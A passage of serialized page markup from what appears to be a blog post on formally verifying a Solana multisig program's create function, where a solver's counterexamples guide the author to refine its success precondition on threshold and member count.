Account",{"type":25,"tag":216,"props":27036,"children":27037},{"style":6958},[27038],{"type":31,"value":26862},{"type":25,"tag":216,"props":27040,"children":27041},{"style":7369},[27042],{"type":31,"value":26867},{"type":25,"tag":216,"props":27044,"children":27045},{"style":6958},[27046],{"type":31,"value":7020},{"type":25,"tag":216,"props":27048,"children":27049},{"style":7369},[27050],{"type":31,"value":26681},{"type":25,"tag":216,"props":27052,"children":27053},{"style":6958},[27054],{"type":31,"value":10083},{"type":25,"tag":216,"props":27056,"children":27057},{"class":6916,"line":7299},[27058],{"type":25,"tag":216,"props":27059,"children":27060},{"emptyLinePlaceholder":16},[27061],{"type":31,"value":7636},{"type":25,"tag":216,"props":27063,"children":27064},{"class":6916,"line":7551},[27065,27070,27074],{"type":25,"tag":216,"props":27066,"children":27067},{"style":6958},[27068],{"type":31,"value":27069},"    #[account(",{"type":25,"tag":216,"props":27071,"children":27072},{"style":6930},[27073],{"type":31,"value":7685},{"type":25,"tag":216,"props":27075,"children":27076},{"style":6958},[27077],{"type":31,"value":24212},{"type":25,"tag":216,"props":27079,"children":27080},{"class":6916,"line":7568},[27081,27085,27090,27094,27099,27103,27107],{"type":25,"tag":216,"props":27082,"children":27083},{"style":6930},[27084],{"type":31,"value":24797},{"type":25,"tag":216,"props":27086,"children":27087},{"style":6941},[27088],{"type":31,"value":27089}," creator",{"type":25,"tag":216,"props":27091,"children":27092},{"style":6947},[27093],{"type":31,"value":1466},{"type":25,"tag":216,"props":27095,"children":27096},{"style":7369},[27097],{"type":31,"value":27098}," Signer",{"type":25,"tag":216,"props":27100,"children":27101},{"style":6958},[27102],{"type":31,"value":26862},{"type":25,"tag":216,"props":27104,"children":27105},{"style":7369},[27106],{"type":31,"value":26867},{"type":25,"tag":216,"props":27108,"children":27109},{"style":6958},[27110],{"type":31,"value":10083},{"type":25,"tag":216,"props":27112,"children":27113},{"class":6916,"line":7585},[27114,27118,27123,27127,27132,27136,27140,27144,27149],{"type":25,"tag":216,"props":27115,"children":27116},{"style":6930},[27117],{"type":31,"value":24797},{"type":25,"tag":216,"props":27119,"children":27120},{"style":6941},[27121],{"type":31,"value":27122}," system_program",{"type":25,"tag":216,"props":27124,"children":27125},{"style":6947},[27126],{"type":31,"value":1466},{"type":25,"tag":216,"props":27128,"children":27129},{"style":7369},[27130],{"type":31,"value":27131}," Program",{"type":25,"tag":216,"props":27133,"children":27134},{"style":6958},[27135],{"type":31,"value":26862},{"type":25,"tag":216,"props":27137,"children":27138},{"style":7369},[27139],{"type":31,"value":26867},{"type":25,"tag":216,"props":27141,"children":27142},{"style":6958},[27143],{"type":31,"value":7020},{"type":25,"tag":216,"props":27145,"children":27146},{"style":7369},[27147],{"type":31,"value":27148},"System",{"type":25,"tag":216,"props":27150,"children":27151},{"style":6958},[27152],{"type":31,"value":10083},{"type":25,"tag":216,"props":27154,"children":27155},{"class":6916,"line":7598},[27156],{"type":25,"tag":216,"props":27157,"children":27158},{"style":6958},[27159],{"type":31,"value":7868},{"type":25,"tag":216,"props":27161,"children":27162},{"class":6916,"line":7607},[27163],{"type":25,"tag":216,"props":27164,"children":27165},{"emptyLinePlaceholder":16},[27166],{"type":31,"value":7636},{"type":25,"tag":216,"props":27168,"children":27169},{"class":6916,"line":7630},[27170,27174,27178,27182],{"type":25,"tag":216,"props":27171,"children":27172},{"style":6930},[27173],{"type":31,"value":17641},{"type":25,"tag":216,"props":27175,"children":27176},{"style":6930},[27177],{"type":31,"value":17646},{"type":25,"tag":216,"props":27179,"children":27180},{"style":7041},[27181],{"type":31,"value":11058},{"type":25,"tag":216,"props":27183,"children":27184},{"style":6958},[27185],{"type":31,"value":7414},{"type":25,"tag":216,"props":27187,"children":27188},{"class":6916,"line":7639},[27189,27193,27197,27201,27205,27210],{"type":25,"tag":216,"props":27190,"children":27191},{"style":6941},[27192],{"type":31,"value":24177},{"type":25,"tag":216,"props":27194,"children":27195},{"style":6947},[27196],{"type":31,"value":1466},{"type":25,"tag":216,"props":27198,"children":27199},{"style":7369},[27200],{"type":31,"value":24243},{"type":25,"tag":216,"props":27202,"children":27203},{"style":6958},[27204],{"type":31,"value":9751},{"type":25,"tag":216,"props":27206,"children":27207},{"style":7369},[27208],{"type":31,"value":27209},"Create",{"type":25,"tag":216,"props":27211,"children":27212},{"style":6958},[27213],{"type":31,"value":10083},{"type":25,"tag":216,"props":27215,"children":27216},{"class":6916,"line":7648},[27217,27222,27226,27230],{"type":25,"tag":216,"props":27218,"children":27219},{"style":6941},[27220],{"type":31,"value":27221},"    threshold",{"type":25,"tag":216,"props":27223,"children":27224},{"style":6947},[27225],{"type":31,"value":1466},{"type":25,"tag":216,"props":27227,"children":27228},{"style":7369},[27229],{"type":31,"value":24984},{"type":25,"tag":216,"props":27231,"children":27232},{"style":6958},[27233],{"type":31,"value":7459},{"type":25,"tag":216,"props":27235,"children":27236},{"class":6916,"line":7716},[27237,27242,27246,27250],{"type":25,"tag":216,"props":27238,"children":27239},{"style":6941},[27240],{"type":31,"value":27241},"    create_key",{"type":25,"tag":216,"props":27243,"children":27244},{"style":6947},[27245],{"type":31,"value":1466},{"type":25,"tag":216,"props":27247,"children":27248},{"style":7369},[27249],{"type":31,"value":24811},{"type":25,"tag":216,"props":27251,"children":27252},{"style":6958},[27253],{"type":31,"value":7459},{"type":25,"tag":216,"props":27255,"children":27256},{"class":6916,"line":7724},[27257,27262,27266,27270,27274,27278],{"type":25,"tag":216,"props":27258,"children":27259},{"style":6941},[27260],{"type":31,"value":27261},"    members",{"type":25,"tag":216,"props":27263,"children":27264},{"style":6947},[27265],{"type":31,"value":1466},{"type":25,"tag":216,"props":27267,"children":27268},{"style":7369},[27269],{"type":31,"value":25343},{"type":25,"tag":216,"props":27271,"children":27272},{"style":6958},[27273],{"type":31,"value":9751},{"type":25,"tag":216,"props":27275,"children":27276},{"style":7369},[27277],{"type":31,"value":25352},{"type":25,"tag":216,"props":27279,"children":27280},{"style":6958},[27281],{"type":31,"value":10083},{"type":25,"tag":216,"props":27283,"children":27284},{"class":6916,"line":7754},[27285,27289,27293,27297],{"type":25,"tag":216,"props":27286,"children":27287},{"style":6958},[27288],{"type":31,"value":7030},{"type":25,"tag":216,"props":27290,"children":27291},{"style":6947},[27292],{"type":31,"value":17708},{"type":25,"tag":216,"props":27294,"children":27295},{"style":7369},[27296],{"type":31,"value":17713},{"type":25,"tag":216,"props":27298,"children":27299},{"style":6958},[27300],{"type":31,"value":24285},{"type":25,"tag":216,"props":27302,"children":27303},{"class":6916,"line":7762},[27304],{"type":25,"tag":216,"props":27305,"children":27306},{"style":6921},[27307],{"type":31,"value":27308},"    // sort the members and remove duplicates\n",{"type":25,"tag":216,"props":27310,"children":27311},{"class":6916,"line":7794},[27312,27316,27320,27325,27329,27333],{"type":25,"tag":216,"props":27313,"children":27314},{"style":6930},[27315],{"type":31,"value":6933},{"type":25,"tag":216,"props":27317,"children":27318},{"style":6930},[27319],{"type":31,"value":6938},{"type":25,"tag":216,"props":27321,"children":27322},{"style":6941},[27323],{"type":31,"value":27324}," members",{"type":25,"tag":216,"props":27326,"children":27327},{"style":6947},[27328],{"type":31,"value":6950},{"type":25,"tag":216,"props":27330,"children":27331},{"style":6941},[27332],{"type":31,"value":27324},{"type":25,"tag":216,"props":27334,"children":27335},{"style":6958},[27336],{"type":31,"value":6961},{"type":25,"tag":216,"props":27338,"children":27339},{"class":6916,"line":7802},[27340,27344,27348,27353],{"type":25,"tag":216,"props":27341,"children":27342},{"style":6941},[27343],{"type":31,"value":27261},{"type":25,"tag":216,"props":27345,"children":27346},{"style":6947},[27347],{"type":31,"value":179},{"type":25,"tag":216,"props":27349,"children":27350},{"style":7041},[27351],{"type":31,"value":27352},"sort",{"type":25,"tag":216,"props":27354,"children":27355},{"style":6958},[27356],{"type":31,"value":7627},{"type":25,"tag":216,"props":27358,"children":27359},{"class":6916,"line":7862},[27360,27364,27368,27373],{"type":25,"tag":216,"props":27361,"children":27362},{"style":6941},[27363],{"type":31,"value":27261},{"type":25,"tag":216,"props":27365,"children":27366},{"style":6947},[27367],{"type":31,"value":179},{"type":25,"tag":216,"props":27369,"children":27370},{"style":7041},[27371],{"type":31,"value":27372},"dedup",{"type":25,"tag":216,"props":27374,"children":27375},{"style":6958},[27376],{"type":31,"value":7627},{"type":25,"tag":216,"props":27378,"children":27379},{"class":6916,"line":12995},[27380],{"type":25,"tag":216,"props":27381,"children":27382},{"emptyLinePlaceholder":16},[27383],{"type":31,"value":7636},{"type":25,"tag":216,"props":27385,"children":27386},{"class":6916,"line":13013},[27387],{"type":25,"tag":216,"props":27388,"children":27389},{"style":6921},[27390],{"type":31,"value":27391},"    // check we don't exceed u16\n",{"type":25,"tag":216,"props":27393,"children":27394},{"class":6916,"line":13058},[27395,27399,27404,27408,27412,27416,27420],{"type":25,"tag":216,"props":27396,"children":27397},{"style":6930},[27398],{"type":31,"value":6933},{"type":25,"tag":216,"props":27400,"children":27401},{"style":6941},[27402],{"type":31,"value":27403}," total_members",{"type":25,"tag":216,"props":27405,"children":27406},{"style":6947},[27407],{"type":31,"value":6950},{"type":25,"tag":216,"props":27409,"children":27410},{"style":6941},[27411],{"type":31,"value":27324},{"type":25,"tag":216,"props":27413,"children":27414},{"style":6947},[27415],{"type":31,"value":179},{"type":25,"tag":216,"props":27417,"children":27418},{"style":7041},[27419],{"type":31,"value":13088},{"type":25,"tag":216,"props":27421,"children":27422},{"style":6958},[27423],{"type":31,"value":7627},{"type":25,"tag":216,"props":27425,"children":27426},{"class":6916,"line":13164},[27427,27431,27435,27439,27443],{"type":25,"tag":216,"props":27428,"children":27429},{"style":6967},[27430],{"type":31,"value":16229},{"type":25,"tag":216,"props":27432,"children":27433},{"style":6941},[27434],{"type":31,"value":27403},{"type":25,"tag":216,"props":27436,"children":27437},{"style":6947},[27438],{"type":31,"value":12666},{"type":25,"tag":216,"props":27440,"children":27441},{"style":6983},[27442],{"type":31,"value":8465},{"type":25,"tag":216,"props":27444,"children":27445},{"style":6958},[27446],{"type":31,"value":7235},{"type":25,"tag":216,"props":27448,"children":27450},{"class":6916,"line":27449},31,[27451,27455,27460,27464,27469,27473,27478],{"type":25,"tag":216,"props":27452,"children":27453},{"style":6967},[27454],{"type":31,"value":19696},{"type":25,"tag":216,"props":27456,"children":27457},{"style":7041},[27458],{"type":31,"value":27459}," err!",{"type":25,"tag":216,"props":27461,"children":27462},{"style":6958},[27463],{"type":31,"value":1844},{"type":25,"tag":216,"props":27465,"children":27466},{"style":7369},[27467],{"type":31,"value":27468},"MsError",{"type":25,"tag":216,"props":27470,"children":27471},{"style":6947},[27472],{"type":31,"value":7432},{"type":25,"tag":216,"props":27474,"children":27475},{"style":7369},[27476],{"type":31,"value":27477},"EmptyMembers",{"type":25,"tag":216,"props":27479,"children":27480},{"style":6958},[27481],{"type":31,"value":7791},{"type":25,"tag":216,"props":27483,"children":27485},{"class":6916,"line":27484},32,[27486],{"type":25,"tag":216,"props":27487,"children":27488},{"style":6958},[27489],{"type":31,"value":7305},{"type":25,"tag":216,"props":27491,"children":27493},{"class":6916,"line":27492},33,[27494],{"type":25,"tag":216,"props":27495,"children":27496},{"emptyLinePlaceholder":16},[27497],{"type":31,"value":7636},{"type":25,"tag":216,"props":27499,"children":27501},{"class":6916,"line":27500},34,[27502],{"type":25,"tag":216,"props":27503,"children":27504},{"style":6921},[27505],{"type":31,"value":27506},"    // make sure we don't exceed u16 on first call\n",{"type":25,"tag":216,"props":27508,"children":27510},{"class":6916,"line":27509},35,[27511,27515,27519,27523,27527,27531,27535,27540,27544],{"type":25,"tag":216,"props":27512,"children":27513},{"style":6967},[27514],{"type":31,"value":16229},{"type":25,"tag":216,"props":27516,"children":27517},{"style":6941},[27518],{"type":31,"value":27403},{"type":25,"tag":216,"props":27520,"children":27521},{"style":6947},[27522],{"type":31,"value":18145},{"type":25,"tag":216,"props":27524,"children":27525},{"style":7369},[27526],{"type":31,"value":17682},{"type":25,"tag":216,"props":27528,"children":27529},{"style":6947},[27530],{"type":31,"value":7432},{"type":25,"tag":216,"props":27532,"children":27533},{"style":7041},[27534],{"type":31,"value":23427},{"type":25,"tag":216,"props":27536,"children":27537},{"style":6958},[27538],{"type":31,"value":27539},"(u16",{"type":25,"tag":216,"props":27541,"children":27542},{"style":6947},[27543],{"type":31,"value":7432},{"type":25,"tag":216,"props":27545,"children":27546},{"style":6958},[27547],{"type":31,"value":27548},"MAX) {\n",{"type":25,"tag":216,"props":27550,"children":27552},{"class":6916,"line":27551},36,[27553,27557,27561,27565,27569,27573,27578],{"type":25,"tag":216,"props":27554,"children":27555},{"style":6967},[27556],{"type":31,"value":19696},{"type":25,"tag":216,"props":27558,"children":27559},{"style":7041},[27560],{"type":31,"value":27459},{"type":25,"tag":216,"props":27562,"children":27563},{"style":6958},[27564],{"type":31,"value":1844},{"type":25,"tag":216,"props":27566,"children":27567},{"style":7369},[27568],{"type":31,"value":27468},{"type":25,"tag":216,"props":27570,"children":27571},{"style":6947},[27572],{"type":31,"value":7432},{"type":25,"tag":216,"props":27574,"children":27575},{"style":7369},[27576],{"type":31,"value":27577},"MaxMembersReached",{"type":25,"tag":216,"props":27579,"children":27580},{"style":6958},[27581],{"type":31,"value":7791},{"type":25,"tag":216,"props":27583,"children":27585},{"class":6916,"line":27584},37,[27586],{"type":25,"tag":216,"props":27587,"children":27588},{"style":6958},[27589],{"type":31,"value":7305},{"type":25,"tag":216,"props":27591,"children":27593},{"class":6916,"line":27592},38,[27594],{"type":25,"tag":216,"props":27595,"children":27596},{"emptyLinePlaceholder":16},[27597],{"type":31,"value":7636},{"type":25,"tag":216,"props":27599,"children":27601},{"class":6916,"line":27600},39,[27602],{"type":25,"tag":216,"props":27603,"children":27604},{"style":6921},[27605],{"type":31,"value":27606},"    // make sure threshold is valid\n",{"type":25,"tag":216,"props":27608,"children":27610},{"class":6916,"line":27609},40,[27611,27615,27619,27623,27627,27631,27635,27640,27644,27649,27653,27657,27661,27665,27669,27674,27679],{"type":25,"tag":216,"props":27612,"children":27613},{"style":6967},[27614],{"type":31,"value":16229},{"type":25,"tag":216,"props":27616,"children":27617},{"style":7369},[27618],{"type":31,"value":17682},{"type":25,"tag":216,"props":27620,"children":27621},{"style":6947},[27622],{"type":31,"value":7432},{"type":25,"tag":216,"props":27624,"children":27625},{"style":7041},[27626],{"type":31,"value":23427},{"type":25,"tag":216,"props":27628,"children":27629},{"style":6958},[27630],{"type":31,"value":1844},{"type":25,"tag":216,"props":27632,"children":27633},{"style":6941},[27634],{"type":31,"value":26689},{"type":25,"tag":216,"props":27636,"children":27637},{"style":6958},[27638],{"type":31,"value":27639},") \u003C ",{"type":25,"tag":216,"props":27641,"children":27642},{"style":6983},[27643],{"type":31,"value":184},{"type":25,"tag":216,"props":27645,"children":27646},{"style":6947},[27647],{"type":31,"value":27648}," ||",{"type":25,"tag":216,"props":27650,"children":27651},{"style":7369},[27652],{"type":31,"value":17682},{"type":25,"tag":216,"props":27654,"children":27655},{"style":6947},[27656],{"type":31,"value":7432},{"type":25,"tag":216,"props":27658,"children":27659},{"style":7041},[27660],{"type":31,"value":23427},{"type":25,"tag":216,"props":27662,"children":27663},{"style":6958},[27664],{"type":31,"value":1844},{"type":25,"tag":216,"props":27666,"children":27667},{"style":6941},[27668],{"type":31,"value":26689},{"type":25,"tag":216,"props":27670,"children":27671},{"style":6958},[27672],{"type":31,"value":27673},") > ",{"type":25,"tag":216,"props":27675,"children":27676},{"style":6941},[27677],{"type":31,"value":27678},"total_members",{"type":25,"tag":216,"props":27680,"children":27681},{"style":6958},[27682],{"type":31,"value":7235},{"type":25,"tag":216,"props":27684,"children":27686},{"class":6916,"line":27685},41,[27687,27691,27695,27699,27703,27707,27712],{"type":25,"tag":216,"props":27688,"children":27689},{"style":6967},[27690],{"type":31,"value":19696},{"type":25,"tag":216,"props":27692,"children":27693},{"style":7041},[27694],{"type":31,"value":27459},{"type":25,"tag":216,"props":27696,"children":27697},{"style":6958},[27698],{"type":31,"value":1844},{"type":25,"tag":216,"props":27700,"children":27701},{"style":7369},[27702],{"type":31,"value":27468},{"type":25,"tag":216,"props":27704,"children":27705},{"style":6947},[27706],{"type":31,"value":7432},{"type":25,"tag":216,"props":27708,"children":27709},{"style":7369},[27710],{"type":31,"value":27711},"InvalidThreshold",{"type":25,"tag":216,"props":27713,"children":27714},{"style":6958},[27715],{"type":31,"value":7791},{"type":25,"tag":216,"props":27717,"children":27719},{"class":6916,"line":27718},42,[27720],{"type":25,"tag":216,"props":27721,"children":27722},{"style":6958},[27723],{"type":31,"value":7305},{"type":25,"tag":216,"props":27725,"children":27727},{"class":6916,"line":27726},43,[27728],{"type":25,"tag":216,"props":27729,"children":27730},{"emptyLinePlaceholder":16},[27731],{"type":31,"value":7636},{"type":25,"tag":216,"props":27733,"children":27735},{"class":6916,"line":27734},44,[27736,27740,27744,27748,27752,27757,27761,27765],{"type":25,"tag":216,"props":27737,"children":27738},{"style":6941},[27739],{"type":31,"value":24177},{"type":25,"tag":216,"props":27741,"children":27742},{"style":6947},[27743],{"type":31,"value":179},{"type":25,"tag":216,"props":27745,"children":27746},{"style":6958},[27747],{"type":31,"value":18626},{"type":25,"tag":216,"props":27749,"children":27750},{"style":6947},[27751],{"type":31,"value":179},{"type":25,"tag":216,"props":27753,"children":27754},{"style":6958},[27755],{"type":31,"value":27756},"multisig",{"type":25,"tag":216,"props":27758,"children":27759},{"style":6947},[27760],{"type":31,"value":179},{"type":25,"tag":216,"props":27762,"children":27763},{"style":7041},[27764],{"type":31,"value":24694},{"type":25,"tag":216,"props":27766,"children":27767},{"style":6958},[27768],{"type":31,"value":7414},{"type":25,"tag":216,"props":27770,"children":27772},{"class":6916,"line":27771},45,[27773,27778],{"type":25,"tag":216,"props":27774,"children":27775},{"style":6941},[27776],{"type":31,"value":27777},"        threshold",{"type":25,"tag":216,"props":27779,"children":27780},{"style":6958},[27781],{"type":31,"value":7459},{"type":25,"tag":216,"props":27783,"children":27785},{"class":6916,"line":27784},46,[27786,27791],{"type":25,"tag":216,"props":27787,"children":27788},{"style":6941},[27789],{"type":31,"value":27790},"        create_key",{"type":25,"tag":216,"props":27792,"children":27793},{"style":6958},[27794],{"type":31,"value":7459},{"type":25,"tag":216,"props":27796,"children":27798},{"class":6916,"line":27797},47,[27799,27804],{"type":25,"tag":216,"props":27800,"children":27801},{"style":6941},[27802],{"type":31,"value":27803},"        members",{"type":25,"tag":216,"props":27805,"children":27806},{"style":6958},[27807],{"type":31,"value":7459},{"type":25,"tag":216,"props":27809,"children":27811},{"class":6916,"line":27810},48,[27812,27816,27820,27824,27829,27833,27837,27841,27846,27850,27854,27858],{"type":25,"tag":216,"props":27813,"children":27814},{"style":6947},[27815],{"type":31,"value":11697},{"type":25,"tag":216,"props":27817,"children":27818},{"style":6941},[27819],{"type":31,"value":24234},{"type":25,"tag":216,"props":27821,"children":27822},{"style":6947},[27823],{"type":31,"value":179},{"type":25,"tag":216,"props":27825,"children":27826},{"style":6958},[27827],{"type":31,"value":27828},"bumps",{"type":25,"tag":216,"props":27830,"children":27831},{"style":6947},[27832],{"type":31,"value":179},{"type":25,"tag":216,"props":27834,"children":27835},{"style":7041},[27836],{"type":31,"value":20304},{"type":25,"tag":216,"props":27838,"children":27839},{"style":6958},[27840],{"type":31,"value":1844},{"type":25,"tag":216,"props":27842,"children":27843},{"style":8199},[27844],{"type":31,"value":27845},"\"multisig\"",{"type":25,"tag":216,"props":27847,"children":27848},{"style":6958},[27849],{"type":31,"value":1882},{"type":25,"tag":216,"props":27851,"children":27852},{"style":6947},[27853],{"type":31,"value":179},{"type":25,"tag":216,"props":27855,"children":27856},{"style":7041},[27857],{"type":31,"value":7622},{"type":25,"tag":216,"props":27859,"children":27860},{"style":6958},[27861],{"type":31,"value":7442},{"type":25,"tag":216,"props":27863,"children":27865},{"class":6916,"line":27864},49,[27866],{"type":25,"tag":216,"props":27867,"children":27868},{"style":6958},[27869],{"type":31,"value":27870},"    )\n",{"type":25,"tag":216,"props":27872,"children":27874},{"class":6916,"line":27873},50,[27875],{"type":25,"tag":216,"props":27876,"children":27877},{"style":6958},[27878],{"type":31,"value":7868},{"type":25,"tag":38,"props":27880,"children":27881},{},[27882,27884,27889,27891,27896],{"type":31,"value":27883},"We can start by testing an empty ",{"type":25,"tag":82,"props":27885,"children":27887},{"className":27886},[],[27888],{"type":31,"value":24109},{"type":31,"value":27890}," (this will default to ",{"type":25,"tag":82,"props":27892,"children":27894},{"className":27893},[],[27895],{"type":31,"value":230},{"type":31,"value":27897},"):",{"type":25,"tag":206,"props":27899,"children":27901},{"code":27900,"language":6908,"meta":7,"className":6909,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[27902],{"type":25,"tag":82,"props":27903,"children":27904},{"__ignoreMap":7},[27905,27913],{"type":25,"tag":216,"props":27906,"children":27907},{"class":6916,"line":6917},[27908],{"type":25,"tag":216,"props":27909,"children":27910},{"style":6958},[27911],{"type":31,"value":27912},"#[succeeds_if()]\n",{"type":25,"tag":216,"props":27914,"children":27915},{"class":6916,"line":6763},[27916,27920,27924,27928,27932,27936,27941,27945],{"type":25,"tag":216,"props":27917,"children":27918},{"style":6930},[27919],{"type":31,"value":17641},{"type":25,"tag":216,"props":27921,"children":27922},{"style":6930},[27923],{"type":31,"value":17646},{"type":25,"tag":216,"props":27925,"children":27926},{"style":7041},[27927],{"type":31,"value":11058},{"type":25,"tag":216,"props":27929,"children":27930},{"style":6958},[27931],{"type":31,"value":1844},{"type":25,"tag":216,"props":27933,"children":27934},{"style":6947},[27935],{"type":31,"value":13541},{"type":25,"tag":216,"props":27937,"children":27938},{"style":6958},[27939],{"type":31,"value":27940},") { ",{"type":25,"tag":216,"props":27942,"children":27943},{"style":6947},[27944],{"type":31,"value":13541},{"type":25,"tag":216,"props":27946,"children":27947},{"style":6958},[27948],{"type":31,"value":13546},{"type":25,"tag":38,"props":27950,"children":27951},{},[27952],{"type":31,"value":27953},"Running the solver, we get:",{"type":25,"tag":206,"props":27955,"children":27957},{"code":27956},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[27958],{"type":25,"tag":82,"props":27959,"children":27960},{"__ignoreMap":7},[27961],{"type":31,"value":27956},{"type":25,"tag":38,"props":27963,"children":27964},{},[27965,27967,27972],{"type":31,"value":27966},"This means that ",{"type":25,"tag":82,"props":27968,"children":27970},{"className":27969},[],[27971],{"type":31,"value":230},{"type":31,"value":27973}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":25,"tag":38,"props":27975,"children":27976},{},[27977],{"type":31,"value":27978},"We can ask the solver to produce a counterexample:",{"type":25,"tag":206,"props":27980,"children":27982},{"code":27981},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[27983],{"type":25,"tag":82,"props":27984,"children":27985},{"__ignoreMap":7},[27986],{"type":31,"value":27981},{"type":25,"tag":38,"props":27988,"children":27989},{},[27990],{"type":31,"value":27991},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":25,"tag":38,"props":27993,"children":27994},{},[27995],{"type":25,"tag":64,"props":27996,"children":27997},{},[27998,28000,28006],{"type":31,"value":27999},"Note also that the verifier decided to use a ",{"type":25,"tag":82,"props":28001,"children":28003},{"className":28002},[],[28004],{"type":31,"value":28005},"SparseVec",{"type":31,"value":28007}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":25,"tag":38,"props":28009,"children":28010},{},[28011],{"type":25,"tag":64,"props":28012,"children":28013},{},[28014,28016,28021,28022,28028,28030,28035,28037,28042],{"type":31,"value":28015},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":25,"tag":82,"props":28017,"children":28019},{"className":28018},[],[28020],{"type":31,"value":7777},{"type":31,"value":1301},{"type":25,"tag":82,"props":28023,"children":28025},{"className":28024},[],[28026],{"type":31,"value":28027},"pop",{"type":31,"value":28029}," are stubbed out to simply panic for the ",{"type":25,"tag":82,"props":28031,"children":28033},{"className":28032},[],[28034],{"type":31,"value":28005},{"type":31,"value":28036}," and if this code tried to do that we would fall back to the concrete ",{"type":25,"tag":82,"props":28038,"children":28040},{"className":28039},[],[28041],{"type":31,"value":900},{"type":31,"value":28043}," type.",{"type":25,"tag":38,"props":28045,"children":28046},{},[28047],{"type":31,"value":28048},"We can add this to our constraint and try again:",{"type":25,"tag":206,"props":28050,"children":28052},{"code":28051,"language":6908,"meta":7,"className":6909,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[28053],{"type":25,"tag":82,"props":28054,"children":28055},{"__ignoreMap":7},[28056,28064,28101,28108],{"type":25,"tag":216,"props":28057,"children":28058},{"class":6916,"line":6917},[28059],{"type":25,"tag":216,"props":28060,"children":28061},{"style":6958},[28062],{"type":31,"value":28063},"#[succeeds_if(\n",{"type":25,"tag":216,"props":28065,"children":28066},{"class":6916,"line":6763},[28067,28072,28076,28080,28084,28088,28092,28096],{"type":25,"tag":216,"props":28068,"children":28069},{"style":6958},[28070],{"type":31,"value":28071},"    (threshold ",{"type":25,"tag":216,"props":28073,"children":28074},{"style":6930},[28075],{"type":31,"value":12789},{"type":25,"tag":216,"props":28077,"children":28078},{"style":7369},[28079],{"type":31,"value":17682},{"type":25,"tag":216,"props":28081,"children":28082},{"style":6958},[28083],{"type":31,"value":7030},{"type":25,"tag":216,"props":28085,"children":28086},{"style":6947},[28087],{"type":31,"value":23368},{"type":25,"tag":216,"props":28089,"children":28090},{"style":6958},[28091],{"type":31,"value":27324},{"type":25,"tag":216,"props":28093,"children":28094},{"style":6947},[28095],{"type":31,"value":179},{"type":25,"tag":216,"props":28097,"children":28098},{"style":6958},[28099],{"type":31,"value":28100},"len()\n",{"type":25,"tag":216,"props":28102,"children":28103},{"class":6916,"line":6772},[28104],{"type":25,"tag":216,"props":28105,"children":28106},{"style":6958},[28107],{"type":31,"value":24212},{"type":25,"tag":216,"props":28109,"children":28110},{"class":6916,"line":6999},[28111,28115,28119,28123,28127,28131,28135,28139],{"type":25,"tag":216,"props":28112,"children":28113},{"style":6930},[28114],{"type":31,"value":17641},{"type":25,"tag":216,"props":28116,"children":28117},{"style":6930},[28118],{"type":31,"value":17646},{"type":25,"tag":216,"props":28120,"children":28121},{"style":7041},[28122],{"type":31,"value":11058},{"type":25,"tag":216,"props":28124,"children":28125},{"style":6958},[28126],{"type":31,"value":1844},{"type":25,"tag":216,"props":28128,"children":28129},{"style":6947},[28130],{"type":31,"value":13541},{"type":25,"tag":216,"props":28132,"children":28133},{"style":6958},[28134],{"type":31,"value":27940},{"type":25,"tag":216,"props":28136,"children":28137},{"style":6947},[28138],{"type":31,"value":13541},{"type":25,"tag":216,"props":28140,"children":28141},{"style":6958},[28142],{"type":31,"value":13546},{"type":25,"tag":38,"props":28144,"children":28145},{},[28146],{"type":31,"value":28147},"Verification failed again! This time we get a different counterexample:",{"type":25,"tag":206,"props":28149,"children":28151},{"code":28150},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[28152],{"type":25,"tag":82,"props":28153,"children":28154},{"__ignoreMap":7},[28155],{"type":31,"value":28150},{"type":25,"tag":38,"props":28157,"children":28158},{},[28159],{"type":31,"value":28160},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":25,"tag":206,"props":28162,"children":28164},{"code":28163,"language":6908,"meta":7,"className":6909,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[28165],{"type":25,"tag":82,"props":28166,"children":28167},{"__ignoreMap":7},[28168,28175,28210,28231,28238],{"type":25,"tag":216,"props":28169,"children":28170},{"class":6916,"line":6917},[28171],{"type":25,"tag":216,"props":28172,"children":28173},{"style":6958},[28174],{"type":31,"value":28063},{"type":25,"tag":216,"props":28176,"children":28177},{"class":6916,"line":6763},[28178,28182,28186,28190,28194,28198,28202,28206],{"type":25,"tag":216,"props":28179,"children":28180},{"style":6958},[28181],{"type":31,"value":28071},{"type":25,"tag":216,"props":28183,"children":28184},{"style":6930},[28185],{"type":31,"value":12789},{"type":25,"tag":216,"props":28187,"children":28188},{"style":7369},[28189],{"type":31,"value":17682},{"type":25,"tag":216,"props":28191,"children":28192},{"style":6958},[28193],{"type":31,"value":7030},{"type":25,"tag":216,"props":28195,"children":28196},{"style":6947},[28197],{"type":31,"value":23368},{"type":25,"tag":216,"props":28199,"children":28200},{"style":6958},[28201],{"type":31,"value":27324},{"type":25,"tag":216,"props":28203,"children":28204},{"style":6947},[28205],{"type":31,"value":179},{"type":25,"tag":216,"props":28207,"children":28208},{"style":6958},[28209],{"type":31,"value":28100},{"type":25,"tag":216,"props":28211,"children":28212},{"class":6916,"line":6772},[28213,28217,28222,28226],{"type":25,"tag":216,"props":28214,"children":28215},{"style":6947},[28216],{"type":31,"value":19573},{"type":25,"tag":216,"props":28218,"children":28219},{"style":6958},[28220],{"type":31,"value":28221}," threshold ",{"type":25,"tag":216,"props":28223,"children":28224},{"style":6947},[28225],{"type":31,"value":19640},{"type":25,"tag":216,"props":28227,"children":28228},{"style":6958},[28229],{"type":31,"value":28230}," 